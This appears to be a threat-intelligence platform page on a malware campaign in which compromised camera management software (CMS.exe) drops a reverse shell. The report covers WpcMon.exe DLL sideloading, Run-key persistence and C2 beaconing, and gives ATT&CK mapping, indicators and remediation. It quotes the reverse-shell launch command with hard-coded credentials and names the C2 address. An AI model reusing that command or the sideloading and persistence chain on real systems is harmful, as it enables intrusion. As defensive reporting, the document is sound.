Threat reportMalwareTL-2026-4619
Camera Management Software (CMS.exe) Compromise Leads to Reverse Shell Deployment and DLL Sideloading via WpcMon.exe
Camera Management Software (CMS.exe) Compromise Leads to (TL-2026-4619) is a high-severity malware campaign, first published 2026-10-28. It has no confirmed attribution, affects Unknown Camera management software (CMS.exe, installed in C:\Program, maps to 7 MITRE ATT&CK techniques (T1036, T1071, T1190), and is covered by 9 detection rules and 18 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 7MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 18Indicators of compromise
Key facts for TL-2026-4619
- Threat ID
- TL-2026-4619
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- UNKNOWN
- Detection rules
- 9
- Indicators of compromise
- 18
- Updates
- 2026-10-28 · revalidated 1× · latest source
How Camera Management Software (CMS.exe) Compromise Leads to works
Huntress observed multiple customer incidents (September-October 2026) in which a camera management application (CMS.exe) was the initial access vector. Post-compromise activity dropped a reverse shell (rs.win32.exe), sideloaded malicious IPHLPAPI.DLL and samcli.dll through the legitimate Windows binary WpcMon.exe placed in a user-writable path, persisted via a Run key, and beaconed to 144.172.116.37.
Huntress analysts investigated several customer environments between September and October 2026 where a camera management application, CMS.exe (installed under C:\Program Files (x86)\CMS\), preceded malicious activity. The executable has no embedded File Version Information and contains the strings 'developerslavery' and 'd3e3v4e3l9o9p0e3r4s2l9a1v4e3r4y6'. Huntress could not determine the full name or vendor of the software and could not locate application logs, so the exact compromise mechanism (trojanized installer, vulnerable component, or other) is unconfirmed. Huntress noted a possible link to the Korean company '3R Global' via the domain 3r-dataware.com and possible distribution via the kvision.ai website; neither link is confirmed.
Post-compromise, a reverse shell named rs.win32.exe was dropped to C:\Users\<user>\AppData\Roaming\CMS\RemoteSetup\ and launched with arguments of the form: rs.win32.exe -i "<IP Address>" -p "8000" -c <file> -r <file> "admin" "1234567a7654321" (reverse connection to a remote IP on port 8000 with hard-coded credentials). The observed process tree was CMS.exe -> rs.win32.exe -> WpcMon.exe.
The actor then staged the legitimate Windows Parental Control Monitor binary WpcMon.exe in an unusual location, C:\Users\<user>\AppData\Local\Microsoft\WpcMon\ (its normal location is C:\Windows\System32), alongside two malicious DLLs, IPHLPAPI.DLL and samcli.dll, which WpcMon.exe sideloads. Both DLLs masquerade as zlib compression libraries but contain beaconing functionality to the C2 address 144.172.116.37. Persistence was established by writing a value to the user's Run registry key so that WpcMon.exe (and therefore the sideloaded DLLs) executes at every login.
No CVE, CVSS score, threat actor or sector/region targeting is stated in the source. Severity HIGH is an analyst assessment based on confirmed in-the-wild compromise with remote shell access. Huntress recommends treating cameras and their management platforms as potential entry points, inventorying and restricting access to such software, monitoring unusual process chains and outbound connections, and applying application control to block unapproved executables and DLLs in user-writable paths.
MITRE ATT&CK techniques used in TL-2026-4619
Defense Evasion
T1036 Masquerading; T1574.001 DLL; T1574.002 Hijack Execution Flow
Command and Control
T1071 Application Layer Protocol; T1571 Non-Standard Port
Initial Access
T1190 Exploit Public-Facing Application
Persistence
T1547.001 Registry Run Keys / Startup Folder; T1574.002 Hijack Execution Flow
stealth
Affected products and versions in Camera Management Software (CMS.exe) Compromise Leads to
- Unknown — Camera management software (CMS.exe, installed in C:\Program Files (x86)\CMS\)
- Microsoft — Windows (WpcMon.exe abused as DLL sideloading host)
Remediation for Camera Management Software (CMS.exe) Compromise Leads to
Immediate actions
- Block outbound traffic to 144.172.116.37 and the domain 3r-dataware.com at the perimeter and hunt historical logs for connections to them
- Hunt for CMS.exe spawning rs.win32.exe and for WpcMon.exe running from C:\Users\<user>\AppData\Local\Microsoft\WpcMon\ instead of C:\Windows\System32
- Search endpoints for the three published SHA256 hashes and for IPHLPAPI.DLL / samcli.dll in user-writable paths
- Inspect HKCU Run keys for entries launching WpcMon.exe and isolate and re-image affected hosts
Workarounds
- Remove or isolate CMS.exe installations of unknown provenance until the vendor and software integrity are verified
- Restrict outbound connectivity from camera management servers to required destinations only
Longer-term hardening
- Inventory camera management software and restrict network and user access to it
- Deploy application control to prevent unapproved executables and DLLs from running in user-writable paths
- Monitor for unusual process chains and unexpected outbound connections from surveillance management hosts
- Treat cameras and their management platforms as potential entry points in risk assessments
Timeline of Camera Management Software (CMS.exe) Compromise Leads to
- WpcMon.exe staged in %LOCALAPPDATA%\Microsoft\WpcMon\ with malicious IPHLPAPI.DLL and samcli.dll; Run key persistence added and DLLs beacon to 144.172.116.37 (day unknown)
- CMS.exe leads to rs.win32.exe being dropped in %APPDATA%\CMS\RemoteSetup\ and executed as a reverse shell to port 8000 (day unknown; sequence per observed process tree)
- Huntress begins observing customer incidents originating from compromised camera management software CMS.exe (source gives month precision only: September 2026)
- Additional customer incidents with the same CMS.exe chain observed through October 2026 (month precision only)
- Huntress publishes 'Who Watches the Watchers?' detailing the CMS.exe compromise, IOCs and defensive recommendations
- Threat tracked as TL-2026-4619 on the Threadlinqs Intelligence Platform; BeaconBeagle shows no config match for 3r-dataware.com
Update history for TL-2026-4619
- 2026-10-28 — Camera Management Software (CMS.exe) Hijacked to Deploy Reverse Shell and Hidden Windows Malware via DLL Sideloading: What changed No change to severity (HIGH), exploitability (ACTIVE), status or attribution. New indicators (3) Domain cloudapi.3r-dataware.com and URL http://cloudapi.3r-dataware.com/sso/ (strings in the CMS binary and kvision.ai package), p
Sources cited for Camera Management Software (CMS.exe) Compromise Leads to
- Who Watches the Watchers? Camera Management Software Compromise Leads to Malware Deployment (Huntress)
- MITRE ATT&CK T1574.002 - Hijack Execution Flow: DLL Side-Loading
- MITRE ATT&CK T1547.001 - Registry Run Keys / Startup Folder
- MITRE ATT&CK T1190 - Exploit Public-Facing Application
- MITRE ATT&CK T1036 - Masquerading
- MITRE ATT&CK T1571 - Non-Standard Port
Detection coverage for TL-2026-4619
As of 2026-10-28, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-4619 across Splunk SPL, Microsoft KQL and Sigma, covering 18 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.